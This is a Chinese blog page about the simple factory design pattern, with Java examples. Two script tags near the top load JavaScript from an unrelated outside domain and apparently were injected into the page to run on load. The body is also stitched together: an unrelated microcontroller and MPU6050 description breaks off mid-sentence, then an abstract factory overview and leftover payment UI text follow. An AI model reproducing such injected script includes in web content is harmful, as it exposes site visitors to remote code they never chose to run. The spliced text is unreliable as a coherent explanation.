设计模式-简单工厂模式

<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>

<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>

      创建模式,是对类得实例化过程的抽象化,一些系统在创建对象时,要动态的决定怎么样创建、创建哪些以及如何组合和表示这些对象。创建模式分为类得创建模式和对象的创建模式。

类得创建模式:使用继承关系,将类的创建延迟到子类,从而屏蔽客户端的得到哪些类得信息,并且隐藏了这些类的实例是如何被创建和组装的。

对象的创建模式:把对象的创建过程动态地委派给另一个对象,从而动态地决定客户端将得到哪些具体类的实例。

 

一:简单工厂模式

也叫做静态工厂模式,顾名思义,将由一个工厂对象决定创建出哪一种产品类的实例。

模式结构 : 工厂 -- à 具体产品,具体产品继承自抽象产品。

由工厂方法根据传入的参数决定创建哪一种产品类。

角色:

工厂类( Creator )角色:在客户端的调用下创建产品对象,里面包含与应用相关的逻辑

抽象产品( Product )角色:工厂方法创建的产品的父类,非必要角色

具体产品( ConcreteProduct )角色:工厂方法创建的实例

代码示例

1 , 三种角色

package com.co.patterns.simpleFactory.demo;

public interface Product {
}

package com.co.patterns.simpleFactory.demo;

public class ConcreteProduct implements Product {

	public ConcreteProduct() {
	}
}

package com.co.patterns.simpleFactory.demo;

public class Factory {

	public static Product createProduct() {
		return new ConcreteProduct();
	}
}

2 , 系统中产品角色单一,省略抽象产品角色
 package com.co.patterns.simpleFactory.demo;

public class ConcreteProduct {

	public ConcreteProduct() {
	}
}

package com.co.patterns.simpleFactory.demo;

public class Factory {

	public static ConcreteProduct createProduct() {
		return new ConcreteProduct();
	}
} 

3,工厂与抽象产品合并
package com.co.patterns.simpleFactory.demo;

public abstract class Product {

	public static Product createProduct() {
		return new ConcreteProduct();
	}
}

package com.co.patterns.simpleFactory.demo;

public class ConcreteProduct extends Product {

       public ConcreteProduct() {
       }
} 

4 , 合并三个角色
package com.co.patterns.simpleFactory.demo;

public class ConcreteProduct {

       public ConcreteProduct() {
       }

       public static ConcreteProduct createProduct() {

               return new ConcreteProduct();
       }
}  

简单工厂模式是一种非常基本的设计模式,它会在很多模式中出现。
 
下面是一个具有产品等级结构的例子:
package com.co.patterns.simpleFactory;

public interface Fruit {
	public void plant();
	public void grow();
	public void harvist();
	public void show();	
}
public class Apple implements Fruit {

	public void grow() {

		System.out.println("Apple growing");
	}

	public void harvist() {

		System.out.println("Apple harvisting");
	}

	public void plant() {

		System.out.println("Apple planting");
	}

	public void show() {
		plant();
		grow();
		harvist();
	}

}
public class Grape implements Fruit {

	public void grow() {

		System.out.println("Grape growing");
	}

	public void harvist() {

		System.out.println("Grape harvisting");
	}

	public void plant() {

		System.out.println("Grape planting");
	}

	public void show() {
		plant();
		grow();
		harvist();
	}
}

public class FruitGardener {

	public static Fruit factory(String name) throws FruitInfoException {
		if ("apple".equalsIgnoreCase(name)) {
			return new Apple();
		} else if ("grape".equalsIgnoreCase(name)) {
			return new Grape();
		} else {
			throw new FruitInfoException("The Fruit info is Error");
		}
	}
}
public class Client {

	public static void main(String[] args) {

		try {
			Fruit f1 = FruitGardener.factory("Apple");
			f1.show();
			Fruit f2 = FruitGardener.factory("Grape");
			f2.show();
			Fruit f3 = FruitGardener.factory("Aple");
			f3.show();
		} catch (FruitInfoException e) {
			System.err.println(e.getMessage());
		}
	}
}
public class FruitInfoException extends Exception {

	public FruitInfoException(String msg) {
		super(msg);
	}
}

在工厂中可以有多个工厂方法,例如java.text.DateFormat类,它是其子类的工厂
标题“51单片机通过MPU6050-DMP获取姿态角例程”解析 “51单片机通过MPU6050-DMP获取姿态角例程”是一个基于51系列单片机(一种常见的8位微控制器)的程序示例,用于读取MPU6050传感器的数据,并通过其内置的数字运动处理器(DMP)计算设备的姿态角(如倾斜角度、旋转角度等)。MPU6050是一款集成三轴加速度计和三轴陀螺仪的六自由度传感器,广泛应用于运动控制和姿态检测领域。该例程利用MPU6050的DMP功能,由DMP处理复杂的运动学算法,例如姿态融合,将加速度计和陀螺仪的数据进行整合,从而提供稳定且实时的姿态估计,减轻主控MCU的计算负担。最终,姿态角数据通过LCD1602显示屏以字符形式可视化展示,为用户提供直观的反馈。 从标签“51单片机 6050”可知,该项目主要涉及51单片机和MPU6050传感器这两个关键硬件组件。51单片机基于8051内核,因编程简单、成本低而被广泛应用;MPU6050作为惯性测量单元(IMU),可测量设备的线性和角速度。文件名“51-DMP-NET”可能表示这是一个51单片机及DMP相关的网络资源或代码库,其中可能包含C语言等适合51单片机的编程语言的源代码、配置文件、用户手册、示例程序,以及可能的调试工具或IDE项目文件。 实现该项目需以下步骤:首先是硬件连接,将51单片机MPU6050通过I2C接口正确连接,同时将LCD1602连接到51单片机的串行数据线和控制线上;接着是初始化设置,配置51单片机的I/O端口,初始化I2C通信协议,设置MPU6050的工作模式和数据输出速率;然后是DMP配置,启用MPU6050的DMP功能,加载预编译的DMP固件,并设置DMP输出数据的中断;之后是数据读取,通过中断服务程序从DMP接收姿态角数据,数据通常以四元数或欧拉角形式呈现;再接着是数据显示,将姿态角数据转换为可读的度数格
### 抽象工厂模式概述 抽象工厂模式是一种创建型设计模式,其核心在于提供了一种方式来创建一系列相关或相互依赖的对象,而不必指定它们的具体类[^2]。通过这种方式,客户端能够使用统一的接口来获取所需的产品实例,从而降低了系统组件之间的耦合度。 #### 模式的结构工作原理 该模式主要由四个部分组成: - **抽象工厂(Abstract Factory)**:定义了一个用于创建一族具体产品对象的方法集合。 - **具体工厂(Concrete Factory)**:实现了抽象工厂所声明的操作,负责生产特定种类的产品系列。 - **抽象产品(Abstract Product)**:为每一种可能被生产的物品设定了通用接口。 - **具体产品(Concrete Product)**:实际要创建出来的实体类,继承自相应的抽象产品并实现其功能。 当客户请求某个类型的对象时,会调用相应工厂里的方法得到想要的结果;由于整个过程中只涉及到高层模块对于低层模块的引用(即仅知道如何操作抽象级别的成员),因此即使内部逻辑发生变化也不会影响到外部使用者。 #### 应用场景分析 此模式非常适合应用于以下情况: - 当应用程序存在多个可互换的产品线,并希望保持独立性以便于扩展新特性时不破坏现有代码; - 需要在运行期间动态决定应该采用哪一套设计方案来进行构建; - 要求确保同一版本下的各个组成部分始终一致地协同运作。 例如,在图形库中可以根据不同的渲染引擎选择合适的形状绘制器(如OpenGL vs DirectX)。再比如操作系统风格切换工具里根据不同主题调整窗口控件外观等都是很好的例子。 #### Java实现案例展示 下面给出一段简单的Java代码片段用来说明上述概念的应用: ```java // 定义两个层次的产品接口 public interface GUIFactory { Button createButton(); } public interface Button { void paint(); } ``` 接着分别针对Windows和MacOS平台定制化各自的GUI元素: ```java // Windows风格按钮 class WinButton implements Button { public void paint() { System.out.println("Render a button in the Windows style."); } } // MacOS风格按钮 class MacButton implements Button { public void paint() { System.out.println("Render a button in the macOS style."); } } ``` 最后建立对应的工厂类完成最终组装: ```java // 创建适用于Windows系统的UI部件制造者 class WinFactory implements GUIFactory { @Override public Button createButton() { return new WinButton(); } } // 创建适用于macOS系统的UI部件制造者 class MacFactory implements GUIFactory { @Override public Button createButton() { return new MacButton(); } } ``` 这样就可以很容易地根据当前环境配置选取适当的主题样式了。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值